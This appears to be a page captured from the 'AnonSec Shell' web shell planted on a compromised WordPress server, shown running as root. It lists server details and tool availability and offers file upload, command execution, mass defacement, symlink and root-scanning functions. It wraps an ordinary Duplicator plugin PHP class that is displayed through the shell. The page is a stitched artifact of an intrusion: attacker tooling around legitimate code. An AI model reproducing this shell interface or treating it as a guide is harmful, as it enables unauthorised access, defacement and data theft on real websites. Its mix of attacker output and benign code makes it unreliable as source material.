AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/duplicator/src/Libs/OneClickUpgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/duplicator/src/Libs/OneClickUpgrade/ConnectSkin.php
<?php

namespace Duplicator\Libs\OneClickUpgrade;

use Duplicator\Libs\OneClickUpgrade\PluginSilentUpgraderSkin;
use DUP_Log;

/**
 * Duplicator Connect Skin.
 *
 * Duplicator Connect is our service that makes it easy for non-techy users to
 * upgrade to Duplicator Pro without having to manually install Duplicator Pro plugin.
 *
 * @since 1.5.5
 * @since 1.5.6.1 Extend PluginSilentUpgraderSkin and clean up the class.
 */
class ConnectSkin extends PluginSilentUpgraderSkin
{
    /**
     * Instead of outputting HTML for errors, json_encode the errors and send them
     * back to the Ajax script for processing.
     *
     * @since 1.5.5
     *
     * @param array $errors Array of errors with the install process.
     *
     * @return void
     */
    public function error($errors)
    {
        if (! empty($errors)) {
            DUP_Log::traceObject("Array of errors with the install process:", $errors);
            echo \wp_json_encode(
                array(
                    'error' => \esc_html__('There was an error installing Duplicator Pro. Please try again.', 'duplicator'),
                )
            );
            die;
        }
    }
}

Anon7 - 2022
AnonSec Team